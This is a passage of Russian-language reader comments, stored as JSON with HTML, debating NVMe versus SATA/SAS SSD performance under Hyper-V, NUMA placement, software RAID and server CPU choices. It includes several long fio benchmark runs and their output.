вы спорите? Прочтите внимательнее сообщения вашего оппонента — он не говорил того, что вы ему приписываете.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Спасибо, но спор уже потерял всякий смысл. Человек внезапно обнаруживает секторы там где их уже не может быть, что приводит к терминологической путанице и оставляет гадать, что же он имел ввиду.</p><br/>\r\n<p>В принципе, понятно, что там, где подветка началась, он хотел сказать что-то другое.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Здоровья вам!</p><p>Ментального!</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><p>В особеннности интересует окупаемость лицензий. </p></blockquote><p>А разве использование Hyper-V требует платных лицензий?</p><details class=\"spoiler\"><summary>Всегда считал, что нет</summary><div class=\"spoiler__content\"><p>Microsoft Hyper-V Server is a free product that delivers enterprise-class virtualization for your datacenter and hybrid cloud. Microsoft Hyper-V Server 2019 provides new and enhanced features that can help you deliver the scale and performance needs of your mission-critical workloads.</p><p>The Windows hypervisor technology in Microsoft Hyper-V Server 2019 is the same as what's in the Microsoft Hyper-V role on Windows Server 2019. It is a stand-alone product that contains only the Windows hypervisor, a Windows Server driver model, and virtualization components. It provides a simple and reliable virtualization solution to help you improve your server utilization and reduce costs.</p><p>Взято с: <a href=\"https://www.microsoft.com/en-gb/evalcenter/evaluate-hyper-v-server-2019\" rel=\"noopener noreferrer nofollow\">Try Hyper-V Server 2019 on Microsoft Evaluation Center</a></p></div></details></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Дай дураку стеклянный уй, он им порежется.<br/>Кто покупает qlc для задач на запись?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Даже не сомневайтесь, находятся. А как массово пойдут дешёвые qlc — так повсеместно их и будут брать под любые задачи. По моему опыту DBA — многие в принципе не понимают, что SSD бывают разные. В их картине мира есть HDD и есть SSD. И всё. А при попытке выяснить, какие именно стоят SSD, потому что мне из виртуалки не посмотреть — полное непонимание вопроса в глазах, ну ssd же у нас куплены, в чём вопрос?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>ну справедливости ради, тех ≈10к iops, на которых, судя по картинке, затыкается этот intel, хватит для очень многих БД.<br/>\r\nскорее для БД опасны десктопные ssd, которые могут изрядно тормозить на fsync.</p></div>" ], "message_markdown": [ "> — Сюрприз, но NVMe-диски работают на считаные проценты лучше SSD-дисков. А мы ведь ждали совсем даже не этого.\nИспользуйте устройства не из низшего ценового сегмента. Интеловые DC-grade NVME накопители объективно выдают показатели, недостижимые для других шин (sas, sata). В любом из бенчмарков.\nСофтрейд роняет производительность nvme, и это легко обнаружить, если собрать raid0 из 1920 ramd-disk'ов. Для двух дисков падение производительности не такое радикальное.\nПри тестировании nvme критически важным становится время выполнения системного вызова. Попробуйте использовать ПО с поддержкой io_uring, а ещё лучше, ОС, которая запускает ELF-файлы, а не 'е-хе'.\nПеред тем, как измерять производительность nvme, проверьте, что ваши утилиты такое выдержат. null_blk - хорошее начало. Тот же fio начинает страдать на 3-4 миллионах iops'ов, а теоретический лимит имеет в 20 миллионов (на null устройстве без вызовов ядра).", "У админов-сетевиков есть фраза \"проблема всегда в DNS\". У админов виртуализации видимо аналог - \"проблема всегда в NUMA\" :)", "> Они могут чуть ли не Делл из Супермикро собрать\nИрония в том, что делл и прочие супермикро и использует для некоторых моделей.\nА про NUMA да, это штука известная. Я поэтому очень люблю супермикро за их документацию. К каждому серваку есть мануал с блоксхемой всех компонентов на материнке, что позволяет сразу оценить, где может быть ботлнек. Очень важно для любой pcie нагрузки, будь это диски или гпу. Терпеть не могу энтерпрайз этот, где толком не поймешь даже сколько у тебя райзеров pcie и каких будет. Куда уж там сколько pcie линий и откуда отведено под тот или иной порт.\nВот насчет рейда все равно не уверен. Какой-нить raid0 должен дать профит. Тут мне кажется сильно зависит от софта, т.к. pcie диски требует очень серьезной работы уже в софте, чтобы правильно раскидать потоки по ядрам, правильно шедулить запросы к дискам, минимизировать общение через интерконнект процессоров и т.д. и т.п.", "> мы надеемся, что дополнительная UPI-линия может убрать необходимость разделять виртуалки по NUMA-нодам\nОчень хочется узнать результаты )", "> Используйте устройства не из низшего ценового сегмента.\nУ них тут как раз все ок. Если все как в прошлой статье, то они используют Intel SSD DC P4610 Series 1.6TB, 2.5in PCIe 3.1 x4, 3D2, TLC Круче уж некуда.", "Тогда я не понимаю, как они сумели \"разогнать\" SAS/SATA до PCI-E скоростей. Вот так вот взять и выдать 3ГБ/с на sas? Не верю. Так же как и в 500к IOPS на sata (потому что при 4к блоках это 2ГБ/с).", "По совести, у dell'а есть подробные блок-схемы именно в контексте nvme, потому что это (внезапно стало) важно. Там же написано в каких конфигурациях производительность будет ограничиваться (из-за сожительства nvme на одной линии).", "Спасибо )\nP.s. Перешел еще 7 лет назад на Proxmox VE (KVM). Там с numa все гораздо лучше.\nКому интересно forum.netgate.com/topic/163435/proxmox-ceph-zfs-pfsense-%D0%B8-%D0%B2%D1%81%D0%B5-%D0%B2%D1%81%D0%B5-%D0%B2%D1%81%D0%B5-%D1%87%D0%B0%D1%81%D1%82%D1%8C-2", "План такой. Сделать каждый нума узел одинаковым и при старте процесса пинить его на нумаузел и выдавать ближайший NVME, исключив \"по умолчанию виртуалки распределяются по NUMA-нодам в хаотичном порядке\". Попробовать поиграться с настройками SNC в биосе. SNC 2 будет в этом случае достаточно.", "Мы подключали диски к PCI-E через U.2 интерфейс, в статье это указано. Более того приведена диаграмма разводки линий материнской платы.", "А не проще использовать 1 cpu на 64 ядра, например, без плясок с бубнами?", "Настройки BIOS безусловно важны, но нам важно, чтобы виртуальная машина попала на ту NUMA-ноду, CPU которой обслуживает NVME диск, на котором расположен образ VM. В этом случае для обращения к диску виртуальной машине не потребуется задействовать UPI линии.", "Не до конца понятно, какой процессор с 64 ядрами вы имеете ввиду, как правило они не подходят для нужд хостинга.\nIntel Xeon Phi Processor 7210 — слишком низкая частота.\nAMD Ryzen Threadripper 3990X Processor — слишком мало каналов памяти.", "А вы производительность виртуализации-то тестировали? Я вот с интересом наблюдал разницу в 10 раз в работе nullblk между бареметаллом и VM (при том, что nullblk вообще никаких внешних устройств не требует). latency переключения userspace/kernel у VM кратно выше, чем у BM, и чем лучше nvme, тем больше это начинает влиять.", "AMD Epyc 7763 или 7713", "", "Так threadripper и не для серверов вроде. Вот Epyc 7742 например — 8 каналов памяти https://www.amd.com/ru/products/cpu/amd-epyc-7742", "У IBM всё вполне разрисовано и бест практики.", "Тестировали, но там тесты другого плана. Создается множество виртуальных машин, чтобы забить сервер «под завязку». На всех ВМ одновременно запускается тест диска. После этого собирается суммарный результат со всех виртуалок. Суммарный результат будет ниже чем при тестах с хостовой машины, но не принципиально. В рамках отдельной ВМ, производительность намного ниже, чем на «бареметалле».", "Вы как то упустили как раз то, что исходят из первой статьи вам было нужно.\nRyzen Threadripper Pro 3995WX.\n64 ядра, 128 линий PCie 4 версии, 8 каналов оперативной памяти, и объем до 2ТБ.\nПри этом буст частота - до 4.2Ггц.\nЭто хоть и тредрипер, но по сути именно что серверный эпик, с апнутыми частотами. А если не нужен такой монстр - вполне вариант к примеру Ryzen Threadripper Pro 3955WX, как раз замеит два ваших 8 ядерника, базовая частота те же 3.9, буст 4.3, остальное так же что и у того что описывал выше.", "> Те, кто пишет про RAID, либо банально врут, либо замедляют скорость чуть ли не ниже SSD, что исключает полезность NVMe-дисков.\nПолучается Hetzner врёт? Они утверждают что у них RAID10 на хостах, диски NVMe, и судя по результатам тестирования внутри cloud-серверов, похоже таки на правду (fio на самом дешёвом cloud server, CX11, ему уже несколько лет):\n[code]\n # fio --filename=/fio.test --size=1G --direct=1 --rw=randrw --bs=1m --ioengine=libaio --iodepth=8 --iodepth_batch_submit=8 --runtime=10 --numjobs=6 --time_based --group_reporting --name=iops-test-job --eta-newline=1\n ...\n Run status group 0 (all jobs):\n READ: bw=2894MiB/s (3034MB/s), 2894MiB/s-2894MiB/s (3034MB/s-3034MB/s), io=28.3GiB (30.4GB), run=10012-10012msec\n WRITE: bw=2919MiB/s (3061MB/s), 2919MiB/s-2919MiB/s (3061MB/s-3061MB/s), io=28.5GiB (30.6GB), run=10012-10012msec\n ## А также чистая запись\n # fio --filename=/fio.test --size=1G --direct=1 --rw=randwrite --bs=1m --ioengine=libaio --iodepth=8 --iodepth_batch_submit=8 --runtime=10 --numjobs=6 --time_based --group_reporting --name=iops-test-job --eta-newline=1\n iops-test-job: (g=0): rw=randwrite, bs=(R) 1024KiB-1024KiB, (W) 1024KiB-1024KiB, (T) 1024KiB-1024KiB, ioengine=libaio, iodepth=8\n ...\n Run status group 0 (all jobs):\n WRITE: bw=4560MiB/s (4781MB/s), 4560MiB/s-4560MiB/s (4781MB/s-4781MB/s), io=44.6GiB (47.8GB), run=10008-10008msec\n[/code]\nВ процессе тестирования использование процессора (vCPU, он там один) около 60%.\nПо любому быстрее чем обычный SSD — в разы. Результаты стабильные за все несколько лет, и не только на одном сервере, разумеется, и это с учётом того что на одном хосте крутится явно не один виртуальный.", "EPYC 7662\n// Простите, не разглядел, что у вас всего 16 ядер на сервер", "Тогда я не понимаю с какой sas/sata SSD вы сумели 500000 IOPS получить, чтобы жаловаться, что \"единицы процентов по сравнению с обычными SSD\".", "NVMe вроде хвалят за низкую латентность. Если ядро часто переключает контекст и латентность переключения много больше NVMe, то подозреваю, что наоборот, разница между SATA SSD и NVMe будет труднее обнаружить.\nКстати, вот пример сравнения Baremetal https://elibsystem.ru/node/503 с Hyper-V, KVM на SATA SSD c древним контроллером, но и там довольно хорошо видна сильная зависимость производительности от гипервизора.\nВообще надо понять что тестировать-то хочется.\nАбстрактную производительность NVMe? Производительность NVMe в Hyper-V в одиночной ВМ (не убивает ли оверхед Hyper-V низкую задержку NVMe)? Производительность NVMe при большом количестве ВМ, все из которых одновременно генерируют нагрузку по сравнению с SATA (качественное сравнение есть ли разница при большой нагрузке в условиях конкуренции кучи ВМ за CPU и NVMe)? Во всех трех случаях очевидно методика тестирования разная.\nБолее того, от того пишутся ли данные синхронно или последовательно тоже результаты бенчмарка зависят, а тут сюрприз, SSD часто нужны для баз данных, а РСУБД пишут часто последовательно (потому-что в журнал) малым количеством потоков с частыми fsync. Т.е. базы данных даже близко не выдают максимально возможные IOPS-ы на запись.\nДальше надо понимать, что NVMe хороши низкой задержкой. Но! Но когда 100500 ВМ генерируют параллельно нагрузку и утилизируют SSD в полку, общая пропускная способность конечно будет высокой (у SSD чем больше одновременных потоков - тем больше IOPS и мегабайт), но вот задержки начнут сильно нарастать, а в статье задержки вообще не представлены! Т.е. при миллионе IOPS задержки какие? Вот для примера про латентность от Intel:\nПоэтому зная, что все зависит от всего (производительность от нагрузки случайная/последовательная, размера кластера, как часто fsync шлется, размера очереди, конкуренции за CPU множества ВМ, драйверов, ФС, гипервизора, writeback, способности ВМ читать из ОЗУ вместо диска из-за виртуализации и т.д.) надо, ну если хочется во всех этих аспектах посмотреть что происходит, делать не один тест, а на каждую из задач по тесту.\nЕстественно, синтетика с большим количеством очередей может совершенно не походить по профилю нагрузки на поведение баз данных. Так что логично поинтересоваться у клиентов какие базы гонять собираются и побенчмаркать базы на NVMe/SATA и посмотреть, есть ли разница. Естественно начинаются приколы, что SATA будет контроллер использовать и он тоже может и свои настройки иметь и задеркжи и т.д.\nИтого: непростое это дело производительность дисковой подсистемы измерять!", "Я правильно понял, что у вас для виртуализации Hyper-V используется? Это только часть виртуалок крутиться в нем или весь хостинг на нем построен?\nЕсли последнее, то можете рассказать по причинах/приемуществах его использования? В особеннности интересует окупаемость лицензий.", "Причина скорее всего в том, что в качестве технологии виртуализации хетцнер использует KVM, а статья о hiper-v. Субьективно никогда не нравился hiper-v, как и многие другие проприетарные решения.", "не подумать о numa это прям проблема новичка, в любом хостере админы очень быстро натыкаются на это неочень но узкое горлышко, я на первых строках статьи уже подумал об этом.. как то вы долго доходили\nмы когда ceph тюнили до 100гигвсек быстро нащупали numa, задолго до того как достигли желаемых результатов\nи второй момент: виндовый жиперви, сириусли?!?!?!?", "1 ГБ - очень мало. Лучше файл делать больше.", "Если там стоит аппаратный контроллер с writeback, есть вероятность, что все записанные данные уместились в его ОЗУ и это тест скорости ОЗУ контроллера.", "Блин, даже энтепрайзные нвмешки время от времени вылетают. А поднимать данные с бэкапа, даже на нвме дикий даунтайм.", "Если вы упёрлись в линии чипсета, почему нельзя воткнуть nvme через переходник PCI-E x16 слот? Тем паче, что в переходниках часто и аппаратный рейд может быть на борту.", "вам было бы полезно почитать про современные линуксовые io-шедьюлеры. там подробно объясняется даже что важен сокет, в котором обратаывается прерывание.", "Я недавно сделал небольшой тест производительности нескольких конфигураций software raid nvm и Sata SSD, на похожем железе\nСтандартный mdadmСравнение с zfs\nПравда, есть подозрение что на той версии zfs что у меня была флаг O_DIRECT типа продолжается, но не честно.", "Второй график неправильный", "И чем TDP с него снимать в условном 1u корпусе? Там же явно за 250+ уходит", "Не встречал подобного опыта что обнаружил я - как ведут себя различные фс на программном рейде 1, 10, 5, 6 из nvme дисков (про аппаратный даже и говорить не стоит, там никакая производительность), так вот - на ext4 производительность в любом рейде только падала по сравнению даже с 1 диском, в то же время на xfs почти что кратно количеству дисков в массиве возрастала. Тестил на серверах amd epyc rome 2 с кучами u.2 nvme дисков.", "А чего вы там за 10 сек намеряете то? Уберите параметр --runtime=10, дайте тесту поработать на объём выше объёма кеша. На полный прогон теста на 100%. Результаты могут оказаться совсем не теми, что вы ожидаете.\nВот этот тест на 1МБ блок, это совсем не то кстати, что у вас в продуктиве происходит. Выглядит как маркетинг для консамерского рынка.\nБлок на 4КВ лучше выставить наверное. Это будет типичный блок. А с 1М блоком тест закончится не успев запустить все потоки. С 1М блоком, тест внезапно становится более последовательный чем случайный.\nНа домашней системе RAID-10 на 6 SATA дисках (ZFS), против Samsung EVO 980 Pro 1TB. Смотрим разницу для размера блока:\nZFS-RAID10(compression lz4):\nfio --randrepeat=1 --filename=./fio.test --size=10G --direct=1 --rw=randrw --bs=128k --ioengine=sync --iodepth=8 --iodepth_batch_submit=8 --numjobs=8 --group_reporting --name=iops-test-job --eta-newline=1 --rwmixread=75\niops-test-job: (g=0): rw=randrw, bs=(R) 128KiB-128KiB, (W) 128KiB-128KiB, (T) 128KiB-128KiB, ioengine=sync, iodepth=8\n...\nfio-3.27\nStarting 8 processes\nJobs: 8 (f=8): [m(8)][26.7%][r=1538MiB/s,w=505MiB/s][r=12.3k,w=4040 IOPS][eta 00m:11s]\nJobs: 8 (f=8): [m(8)][27.3%][r=782MiB/s,w=269MiB/s][r=6254,w=2152 IOPS][eta 00m:16s]\nJobs: 8 (f=8): [m(8)][28.6%][r=800MiB/s,w=264MiB/s][r=6397,w=2111 IOPS][eta 00m:20s]\nJobs: 8 (f=8): [m(8)][30.3%][r=737MiB/s,w=261MiB/s][r=5892,w=2084 IOPS][eta 00m:23s]\nJobs: 8 (f=8): [m(8)][32.4%][r=791MiB/s,w=258MiB/s][r=6328,w=2061 IOPS][eta 00m:25s]\nJobs: 8 (f=8): [m(8)][35.0%][r=733MiB/s,w=243MiB/s][r=5863,w=1947 IOPS][eta 00m:26s]\nJobs: 8 (f=8): [m(8)][37.2%][r=896MiB/s,w=305MiB/s][r=7165,w=2443 IOPS][eta 00m:27s]\nJobs: 8 (f=8): [m(8)][40.0%][r=918MiB/s,w=307MiB/s][r=7341,w=2459 IOPS][eta 00m:27s]\nJobs: 8 (f=8): [m(8)][42.6%][r=602MiB/s,w=195MiB/s][r=4819,w=1560 IOPS][eta 00m:27s]\nJobs: 8 (f=8): [m(8)][44.9%][r=793MiB/s,w=269MiB/s][r=6343,w=2149 IOPS][eta 00m:27s]\nJobs: 8 (f=8): [m(8)][47.1%][r=821MiB/s,w=270MiB/s][r=6564,w=2163 IOPS][eta 00m:27s]\nJobs: 8 (f=8): [m(8)][50.0%][r=849MiB/s,w=292MiB/s][r=6791,w=2339 IOPS][eta 00m:26s]\nJobs: 8 (f=8): [m(8)][52.8%][r=926MiB/s,w=319MiB/s][r=7405,w=2552 IOPS][eta 00m:25s]\nJobs: 8 (f=8): [m(8)][55.6%][r=976MiB/s,w=325MiB/s][r=7808,w=2599 IOPS][eta 00m:24s]\nJobs: 8 (f=8): [m(8)][58.2%][r=899MiB/s,w=300MiB/s][r=7188,w=2403 IOPS][eta 00m:23s]\nJobs: 8 (f=8): [m(8)][60.7%][r=531MiB/s,w=174MiB/s][r=4250,w=1394 IOPS][eta 00m:22s]\nJobs: 8 (f=8): [m(8)][62.1%][r=594MiB/s,w=203MiB/s][r=4753,w=1622 IOPS][eta 00m:22s]\nJobs: 8 (f=8): [m(8)][64.4%][r=677MiB/s,w=224MiB/s][r=5419,w=1792 IOPS][eta 00m:21s]\nJobs: 8 (f=8): [m(8)][66.7%][r=729MiB/s,w=230MiB/s][r=5831,w=1841 IOPS][eta 00m:20s]\nJobs: 8 (f=8): [m(8)][68.9%][r=687MiB/s,w=243MiB/s][r=5493,w=1942 IOPS][eta 00m:19s]\nJobs: 8 (f=8): [m(8)][71.0%][r=801MiB/s,w=273MiB/s][r=6406,w=2183 IOPS][eta 00m:18s]\nJobs: 8 (f=8): [m(8)][74.2%][r=898MiB/s,w=297MiB/s][r=7185,w=2375 IOPS][eta 00m:16s]\nJobs: 8 (f=8): [m(8)][77.4%][r=818MiB/s,w=269MiB/s][r=6546,w=2153 IOPS][eta 00m:14s]\nJobs: 8 (f=8): [m(8)][79.4%][r=675MiB/s,w=222MiB/s][r=5401,w=1773 IOPS][eta 00m:13s]\nJobs: 8 (f=8): [m(8)][81.2%][r=702MiB/s,w=232MiB/s][r=5619,w=1854 IOPS][eta 00m:12s]\nJobs: 8 (f=8): [m(8)][83.1%][r=683MiB/s,w=235MiB/s][r=5463,w=1882 IOPS][eta 00m:11s]\nJobs: 8 (f=8): [m(8)][86.2%][r=808MiB/s,w=270MiB/s][r=6466,w=2162 IOPS][eta 00m:09s]\nJobs: 8 (f=8): [m(8)][89.2%][r=770MiB/s,w=252MiB/s][r=6160,w=2014 IOPS][eta 00m:07s]\nJobs: 8 (f=8): [m(8)][90.9%][r=805MiB/s,w=272MiB/s][r=6436,w=2174 IOPS][eta 00m:06s]\nJobs: 8 (f=8): [m(8)][93.9%][r=838MiB/s,w=284MiB/s][r=6701,w=2271 IOPS][eta 00m:04s]\nJobs: 8 (f=8): [m(8)][97.0%][r=1017MiB/s,w=335MiB/s][r=8137,w=2680 IOPS][eta 00m:02s]\nJobs: 1 (f=1): [(3),m(1),(4)][100.0%][r=817MiB/s,w=257MiB/s][r=6539,w=2053 IOPS][eta 00m:00s]\niops-test-job: (groupid=0, jobs=8): err= 0: pid=22448: Wed Dec 29 17:28:47 2021\nread: IOPS=7681, BW=960MiB/s (1007MB/s)(60.0GiB/63986msec)\nclat (usec): min=3, max=31324, avg=23.72, stdev=158.94\nlat (usec): min=3, max=31324, avg=23.76, stdev=158.94\nclat percentiles (usec):\n| 1.00th=[ 7], 5.00th=[ 7], 10.00th=[ 8], 20.00th=[ 14],\n| 30.00th=[ 15], 40.00th=[ 16], 50.00th=[ 16], 60.00th=[ 17],\n| 70.00th=[ 17], 80.00th=[ 19], 90.00th=[ 38], 95.00th=[ 67],\n| 99.00th=[ 105], 99.50th=[ 119], 99.90th=[ 635], 99.95th=[ 1745],\n| 99.99th=[ 7373]\nbw ( KiB/s): min=484096, max=10253199, per=100.00%, avg=984672.14, stdev=141259.34, samples=1010\niops : min= 3782, max=80100, avg=7692.66, stdev=1103.55, samples=1010\nwrite: IOPS=2560, BW=320MiB/s (336MB/s)(20.0GiB/63986msec); 0 zone resets\nclat (usec): min=12, max=38277, avg=3025.59, stdev=1507.55\nlat (usec): min=12, max=38278, avg=3026.06, stdev=1507.34\nclat percentiles (usec):\n| 1.00th=[ 20], 5.00th=[ 36], 10.00th=[ 61], 20.00th=[ 1663],\n| 30.00th=[ 3064], 40.00th=[ 3261], 50.00th=[ 3458], 60.00th=[ 3654],\n| 70.00th=[ 3818], 80.00th=[ 4015], 90.00th=[ 4490], 95.00th=[ 4883],\n| 99.00th=[ 5473], 99.50th=[ 5735], 99.90th=[ 6128], 99.95th=[ 6390],\n| 99.99th=[ 6915]\nbw ( KiB/s): min=174848, max=3511655, per=100.00%, avg=328313.31, stdev=47484.87, samples=1010\niops : min= 1366, max=27431, avg=2564.87, stdev=370.94, samples=1010\nlat (usec) : 4=0.01%, 10=14.41%, 20=48.19%, 50=8.27%, 100=6.59%\nlat (usec) : 250=1.13%, 500=0.19%, 750=0.23%, 1000=0.20%\nlat (msec) : 2=1.13%, 4=14.33%, 10=5.33%, 20=0.01%, 50=0.01%\ncpu : usr=0.14%, sys=2.60%, ctx=149825, majf=0, minf=137\nIO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%\nsubmit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%\ncomplete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%\nissued rwts: total=491539,163821,0,0 short=0,0,0,0 dropped=0,0,0,0\nlatency : target=0, window=0, percentile=100.00%, depth=8\nRun status group 0 (all jobs):\nREAD: bw=960MiB/s (1007MB/s), 960MiB/s-960MiB/s (1007MB/s-1007MB/s), io=60.0GiB (64.4GB), run=63986-63986msec\nWRITE: bw=320MiB/s (336MB/s), 320MiB/s-320MiB/s (336MB/s-336MB/s), io=20.0GiB (21.5GB), run=63986-63986msec\nfio --randrepeat=1 --filename=./fio.test --size=10G --direct=1 --rw=randrw --bs=256k --ioengine=sync --iodepth=8 --iodepth_batch_submit=8 --numjobs=8 --group_reporting --name=iops-test-job --eta-newline=1 --rwmixread=75\niops-test-job: (g=0): rw=randrw, bs=(R) 256KiB-256KiB, (W) 256KiB-256KiB, (T) 256KiB-256KiB, ioengine=sync, iodepth=8...\nfio-3.27\nStarting 8 processes\nJobs: 8 (f=8): [m(8)][25.0%][r=1495MiB/s,w=514MiB/s][r=5981,w=2056 IOPS][eta 00m:12s]\nJobs: 8 (f=8): [m(8)][26.1%][r=769MiB/s,w=253MiB/s][r=3075,w=1013 IOPS][eta 00m:17s]\nJobs: 8 (f=8): [m(8)][28.6%][r=1011MiB/s,w=326MiB/s][r=4045,w=1302 IOPS][eta 00m:20s]\nJobs: 8 (f=8): [m(8)][32.3%][r=1133MiB/s,w=373MiB/s][r=4530,w=1491 IOPS][eta 00m:21s]\nJobs: 8 (f=8): [m(8)][35.3%][r=1115MiB/s,w=366MiB/s][r=4460,w=1464 IOPS][eta 00m:22s]\nJobs: 8 (f=8): [m(8)][38.9%][r=1304MiB/s,w=425MiB/s][r=5214,w=1700 IOPS][eta 00m:22s]\nJobs: 8 (f=8): [m(8)][42.1%][r=853MiB/s,w=286MiB/s][r=3410,w=1144 IOPS][eta 00m:22s]\nJobs: 8 (f=8): [m(8)][45.0%][r=781MiB/s,w=268MiB/s][r=3124,w=1070 IOPS][eta 00m:22s]\nJobs: 8 (f=8): [m(8)][47.6%][r=874MiB/s,w=290MiB/s][r=3494,w=1160 IOPS][eta 00m:22s]\nJobs: 8 (f=8): [m(8)][50.0%][r=960MiB/s,w=346MiB/s][r=3840,w=1383 IOPS][eta 00m:22s]\nJobs: 8 (f=8): [m(8)][53.3%][r=933MiB/s,w=313MiB/s][r=3733,w=1252 IOPS][eta 00m:21s]\nJobs: 8 (f=8): [m(8)][56.5%][r=1110MiB/s,w=358MiB/s][r=4441,w=1432 IOPS][eta 00m:20s]\nJobs: 8 (f=8): [m(8)][60.9%][r=1056MiB/s,w=364MiB/s][r=4224,w=1454 IOPS][eta 00m:18s]\nJobs: 8 (f=8): [m(8)][63.8%][r=943MiB/s,w=301MiB/s][r=3771,w=1204 IOPS][eta 00m:17s]\nJobs: 8 (f=8): [m(8)][66.7%][r=1074MiB/s,w=349MiB/s][r=4294,w=1395 IOPS][eta 00m:16s]\nJobs: 8 (f=8): [m(8)][69.4%][r=984MiB/s,w=331MiB/s][r=3937,w=1322 IOPS][eta 00m:15s]\nJobs: 8 (f=8): [m(8)][72.0%][r=851MiB/s,w=287MiB/s][r=3402,w=1149 IOPS][eta 00m:14s]\nJobs: 8 (f=8): [m(8)][76.0%][r=920MiB/s,w=321MiB/s][r=3679,w=1284 IOPS][eta 00m:12s]\nJobs: 8 (f=8): [m(8)][78.4%][r=1050MiB/s,w=328MiB/s][r=4198,w=1313 IOPS][eta 00m:11s]\nJobs: 8 (f=8): [m(8)][80.8%][r=570MiB/s,w=196MiB/s][r=2280,w=783 IOPS][eta 00m:10s]\nJobs: 8 (f=8): [m(8)][83.0%][r=784MiB/s,w=263MiB/s][r=3135,w=1052 IOPS][eta 00m:09s]\nJobs: 8 (f=8): [m(8)][86.8%][r=919MiB/s,w=318MiB/s][r=3676,w=1271 IOPS][eta 00m:07s]\nJobs: 8 (f=8): [m(8)][88.9%][r=884MiB/s,w=291MiB/s][r=3535,w=1165 IOPS][eta 00m:06s]\nJobs: 8 (f=8): [m(8)][92.6%][r=1031MiB/s,w=325MiB/s][r=4124,w=1300 IOPS][eta 00m:04s]\nJobs: 8 (f=8): [m(8)][94.5%][r=1090MiB/s,w=372MiB/s][r=4361,w=1489 IOPS][eta 00m:03s]\nJobs: 7 (f=7): [m(6),(1),m(1)][98.2%][r=803MiB/s,w=290MiB/s][r=3213,w=1159 IOPS][eta 00m:01s] Jobs: 2 (f=2): [m(1),(2),m(1),_(4)][100.0%][r=670MiB/s,w=224MiB/s][r=2680,w=894 IOPS][eta 00m:00s]\niops-test-job: (groupid=0, jobs=8): err= 0: pid=12791: Wed Dec 29 17:27:10 2021\nread: IOPS=4544, BW=1136MiB/s (1191MB/s)(59.9GiB/54009msec)\nclat (usec): min=6, max=37703, avg=46.85, stdev=211.13\nlat (usec): min=6, max=37703, avg=46.91, stdev=211.13\nclat percentiles (usec):\n| 1.00th=[ 13], 5.00th=[ 14], 10.00th=[ 14], 20.00th=[ 27],\n| 30.00th=[ 30], 40.00th=[ 31], 50.00th=[ 32], 60.00th=[ 33],\n| 70.00th=[ 34], 80.00th=[ 38], 90.00th=[ 77], 95.00th=[ 137],\n| 99.00th=[ 221], 99.50th=[ 255], 99.90th=[ 1582], 99.95th=[ 3163],\n| 99.99th=[ 9241]\nbw ( MiB/s): min= 494, max= 9652, per=100.00%, avg=1144.48, stdev=144.33, samples=852\niops : min= 1978, max=38607, avg=4577.88, stdev=577.29, samples=852\nwrite: IOPS=1522, BW=381MiB/s (399MB/s)(20.1GiB/54009msec); 0 zone resets\nclat (usec): min=20, max=27805, avg=5063.57, stdev=2444.92\nlat (usec): min=21, max=27807, avg=5064.76, stdev=2444.10\nclat percentiles (usec):\n| 1.00th=[ 42], 5.00th=[ 85], 10.00th=[ 125], 20.00th=[ 3589],\n| 30.00th=[ 5080], 40.00th=[ 5407], 50.00th=[ 5669], 60.00th=[ 5997],\n| 70.00th=[ 6390], 80.00th=[ 6718], 90.00th=[ 7373], 95.00th=[ 7898],\n| 99.00th=[ 9372], 99.50th=[10552], 99.90th=[11469], 99.95th=[11600],\n| 99.99th=[12518]\nbw ( KiB/s): min=184832, max=3352134, per=100.00%, avg=392700.39, stdev=50158.90, samples=852\niops : min= 722, max=13093, avg=1533.96, stdev=195.91, samples=852\nlat (usec) : 10=0.01%, 20=13.73%, 50=51.47%, 100=5.20%, 250=7.47%\nlat (usec) : 500=0.41%, 750=0.13%, 1000=0.11%\nlat (msec) : 2=0.50%, 4=1.14%, 10=19.63%, 20=0.19%, 50=0.01%\ncpu : usr=0.12%, sys=3.07%, ctx=151268, majf=0, minf=133\nIO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%\nsubmit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%\ncomplete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%\nissued rwts: total=245434,82246,0,0 short=0,0,0,0 dropped=0,0,0,0\nlatency : target=0, window=0, percentile=100.00%, depth=8\nRun status group 0 (all jobs):\nREAD: bw=1136MiB/s (1191MB/s), 1136MiB/s-1136MiB/s (1191MB/s-1191MB/s), io=59.9GiB (64.3GB), run=54009-54009msec\nWRITE: bw=381MiB/s (399MB/s), 381MiB/s-381MiB/s (399MB/s-399MB/s), io=20.1GiB (21.6GB), run=54009-54009msec\nА теперь внимание 4к блок:\nfio --randrepeat=1 --filename=./fio.test --size=10G --direct=1 --rw=randrw --bs=4k --ioengine=sync --iodepth=8 --iodepth_batch_submit=8 --numjobs=8 --group_reporting --name=iops-test-job --eta-newline=1 --rwmixread=75\niops-test-job: (g=0): rw=randrw, bs=(R) 4096B-4096B, (W) 4096B-4096B, (T) 4096B-4096B, ioengine=sync, iodepth=8\n...\nfio-3.27\nStarting 8 processes\nJobs: 8 (f=8): [m(8)][0.9%][r=46.0MiB/s,w=15.5MiB/s][r=11.8k,w=3956 IOPS][eta 07m:41s]\nJobs: 8 (f=8): [m(8)][0.9%][r=26.9MiB/s,w=9784KiB/s][r=6877,w=2446 IOPS][eta 11m:09s]\nJobs: 8 (f=8): [m(8)][1.0%][r=31.5MiB/s,w=10.6MiB/s][r=8060,w=2703 IOPS][eta 13m:49s]\nJobs: 8 (f=8): [m(8)][1.0%][r=28.4MiB/s,w=9480KiB/s][r=7269,w=2370 IOPS][eta 15m:57s]\nJobs: 8 (f=8): [m(8)][1.1%][r=28.9MiB/s,w=9780KiB/s][r=7388,w=2445 IOPS][eta 17m:43s]\nJobs: 8 (f=8): 